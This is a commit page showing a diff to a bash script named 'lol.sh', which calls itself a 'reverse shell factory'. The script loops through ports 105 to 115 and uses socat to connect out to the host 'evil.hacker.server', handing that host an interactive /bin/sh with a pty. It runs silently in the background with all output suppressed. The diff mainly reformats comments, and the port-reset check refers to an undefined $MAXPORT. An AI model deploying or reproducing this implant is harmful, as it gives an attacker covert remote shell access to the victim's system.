Update 'lol.sh'
i don't wanna talk about it
This commit is contained in:
parent
c3c4d7df77
commit
036c76706f
49
lol.sh
49
lol.sh
@ -1,28 +1,41 @@
|
|||||||
######Config#### #/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
|
#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
|
||||||
STARTPORT=105 # ->BABBYS FIRST REVERSE SHELL FACTORY<- #
|
# ->BABBYS FIRST REVERSE SHELL FACTORY<- #
|
||||||
ENDPORT=115 #/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
|
#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
|
||||||
TIMEOUT=90 # +RUNS ON YOUR GRANDMAS BLENDER #
|
# +RUNS ON YOUR GRANDMAS BLENDER #
|
||||||
HOST=evil.hacker.server # +HACKS YOUR EXES FACEBOOK #
|
# +HACKS YOUR EXES FACEBOOK #
|
||||||
################ # +MAKES YOU THE LEADER OF ANONYMOUS #
|
# +MAKES YOU THE LEADER OF ANONYMOUS #
|
||||||
##########################################
|
#\--------------------------------------/#
|
||||||
|
# Config ####
|
||||||
|
STARTPORT=105
|
||||||
|
ENDPORT=115
|
||||||
|
TIMEOUT=90
|
||||||
|
HOST=evil.hacker.server
|
||||||
|
#############
|
||||||
|
|
||||||
|
# initialize variable before we enter the while loop
|
||||||
|
PORT=$STARTPORT
|
||||||
|
|
||||||
PORT=$STARTPORT # initialize port cycling variable
|
|
||||||
while true;
|
while true;
|
||||||
do
|
do
|
||||||
find /tmp/ -iname "*.prt" -exec rm {} \; # clean up old any old files we left
|
# ----> remove any old left over files
|
||||||
|
find /tmp/ -iname "*.prt" -exec rm {} \;
|
||||||
|
|
||||||
if [[ $PORT != $MAXPORT ]] then # ratchet destination ports when socat times out
|
# ---> ratchet destination ports when socat times out, reset once it counts to $ENDPORT
|
||||||
PORT=$((PORT+1)) else # or when you smash CTRL+C on a tty b/c computers are hard
|
if [[ $PORT != $MAXPORT ]] then
|
||||||
PORT=$STARTPORT # once we hit $ENDPORT we reset to $STARTPORT
|
PORT=$((PORT+1)) else
|
||||||
fi
|
PORT=$STARTPORT
|
||||||
|
fi
|
||||||
touch /tmp/a${PORT}.prt # provide a simple simple and generic status/port indicator
|
|
||||||
sleep 8 # '-> NOTE: made sense at the time but is probably a bad idea
|
|
||||||
############################################################
|
|
||||||
|
|
||||||
|
# ----> provide a very crude indicator of what port we are currently using
|
||||||
|
touch /tmp/a${PORT}.prt
|
||||||
|
sleep 8
|
||||||
|
|
||||||
|
# ----> socat: ~0 protocol overhead, potential to provide fully interactive pty
|
||||||
|
# -------> and for *nix compatibility, particularly in IoT
|
||||||
|
# -------> future plans for this script involve more socat magic
|
||||||
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} \ # why socat? binaries for everything, 0 overhead
|
/tmp/socat -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} \ # why socat? binaries for everything, 0 overhead
|
||||||
exec:/bin/sh,pty,stderr,setsid,sigint,sane; # easier to acquire a pty (if env allows) vs nc
|
exec:/bin/sh,pty,stderr,setsid,sigint,sane; # easier to acquire a pty (if env allows) vs nc
|
||||||
|
|
||||||
|
|
||||||
done &>/dev/null& # suppress all console output and run in the background
|
# suppress all console output and run in the background
|
||||||
|
done &>/dev/null&
|
||||||
|
Loading…
Reference in New Issue
Block a user